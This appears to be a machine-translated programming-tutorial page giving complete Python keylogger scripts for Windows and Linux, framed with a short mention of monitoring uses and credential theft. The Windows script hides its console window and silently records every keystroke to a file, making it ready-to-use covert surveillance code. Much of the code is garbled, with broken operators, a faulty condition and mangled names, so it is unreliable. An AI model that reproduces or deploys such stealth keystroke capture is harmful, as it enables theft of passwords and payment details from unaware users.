Change language

Keylogger design in Python

These are computer programs designed to run on the target computer’s software. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without the direct knowledge of their users. However, attackers can use keyloggers on public computers to steal passwords or credit card information.

This article illustrates the design of a keylogger for Windows and Linux.

Keylogger for Windows

Download some Python libraries
1) pywin32
2) pyhook & # 39;

Below is the code to create a keylogger in Python

# Python code for a keylogger
# for windows use

import win32api

import win32console

import win32gui

import pythoncom, pyHook

 

win = win32console.GetConsoleWindow ()

win32gui.ShowWindow (win, 0 )

  

def OnKeyboardEvent (event):

if event.Ascii = = 5 :

_ exit ( 1 )

  if event.Ascii! = 0 or 8 :

  # open output.txt to read current keystrokes

f = open ( ’c: output.txt’ , ’ r + ’ )

  buffer = f.read ()

f. close ()

# open output.txt to record current + new keystrokes

  f = open ( ’c: output.txt’ , ’w’ )

  keylogs = chr (event.Ascii)

if event.Ascii = = 13 :

keylogs = ’/ n’

  buffer + = keylogs

f.write ( buffer )

f.close ()

# create hook manager object

hm = pyHook.HookManager ()

hm.KeyDown = OnKeyboardEvent

# install the hook
hm.HookKeyboard ()
# wait forever
pythoncom.PumpMessages ()

Save the file to C: / as Keylogger.py and run the python file
Exit:
The keylogger will run in the background and save all data to log file “c: /output.txt.

Linux Keylogger

pyxhook requires python-xlib. Install it if you don’t already have it.

 sudo apt-get install python-xlib 

Download the library pyxhook

# Python code for a keylogger
# for Linux use

import os

import pyxhook

 
# This tells the keylogger where the log file will go.
# You can set the path to the file as an environment variable (& # 39; pylogger_file & # 39;),
# or use the default ~ / Desktop / file.log

log_file = os.environ.get (

  ’pylogger_file’ ,

  os.path.expanduser ( ’ ~ / Desktop / file.log’ )

)
# Allow setting of the cancel key from environment arguments, by default: ’

cancel_key = ord (

os.environ.get (

’pylogger_cancel’ ,

’’ ’

  ) [ 0 ]

)

 
# Allow clearing of the log file at startup if pylogger_clean is defined.

if os.environ.get ( ’pylogger_clean’ , None ) is not None :

try :

  os.remove (log_file)

except EnvironmentError:

# The file does not exist permissions or not.

pass

 
# create a keypress event and save it to a log file

def OnKeyPress (event):

with open (log_file, ’a’ ) as f:

f.write ( ’{}’ . format (event.Key))

 
# create object hook manager

new_hook = pyxho ok.HookManager ()

new_hook.KeyDown = OnKeyPress

# set the hook
new_hook.HookKeyboard ()

try :

new_hook.start ()  # start hook

except KeyboardInterrupt:

# User canceled from the command line.

pass

except Exception as ex:

# Write exceptions to a log file for later analysis.

  msg = ’ Error while catching events: {} ’ . format (ex)

pyxhook.print_err (msg)

with open (log_file, ’ a’ ) as f:

f.write ( ’ {} ’ . format (msg))

Exit:
The keylogger will run in the background and save all data in the file.log file "/ home / akash / Desktop".

   

Links
https://en.wikipedia.org/wiki/Keystroke_logging

This article is provided by Akash Sharan . If you are as Python.Engineering and would like to contribute, you can also write an article using contribute.python.engineering or by posting an article contribute @ python.engineering. See my article appearing on the Python.Engineering homepage and help other geeks.

Please post comments if you find anything wrong or if you’d like to share more information on the topic discussed above.

Shop

Gifts for programmers

Best laptop for Excel

$
Gifts for programmers

Best laptop for Solidworks

$399+
Gifts for programmers

Best laptop for Roblox

$399+
Gifts for programmers

Best laptop for development

$499+
Gifts for programmers

Best laptop for Cricut Maker

$299+
Gifts for programmers

Best laptop for hacking

$890
Gifts for programmers

Best laptop for Machine Learning

$699+
Gifts for programmers

Raspberry Pi robot kit

$150

Latest questions

PythonStackOverflow

Common xlabel/ylabel for matplotlib subplots

1947 answers

PythonStackOverflow

Check if one list is a subset of another in Python

1173 answers

PythonStackOverflow

How to specify multiple return types using type-hints

1002 answers

PythonStackOverflow

Printing words vertically in Python

909 answers

PythonStackOverflow

Python Extract words from a given string

798 answers

PythonStackOverflow

Why do I get "Pickle - EOFError: Ran out of input" reading an empty file?

606 answers

PythonStackOverflow

Python os.path.join () method

384 answers

PythonStackOverflow

Flake8: Ignore specific warning for entire file

360 answers

News


Wiki

Python | How to copy data from one Excel sheet to another

Common xlabel/ylabel for matplotlib subplots

Check if one list is a subset of another in Python

How to specify multiple return types using type-hints

Printing words vertically in Python

Python Extract words from a given string

Cyclic redundancy check in Python

Finding mean, median, mode in Python without libraries

Python add suffix / add prefix to strings in a list

Why do I get "Pickle - EOFError: Ran out of input" reading an empty file?

Python - Move item to the end of the list

Python - Print list vertically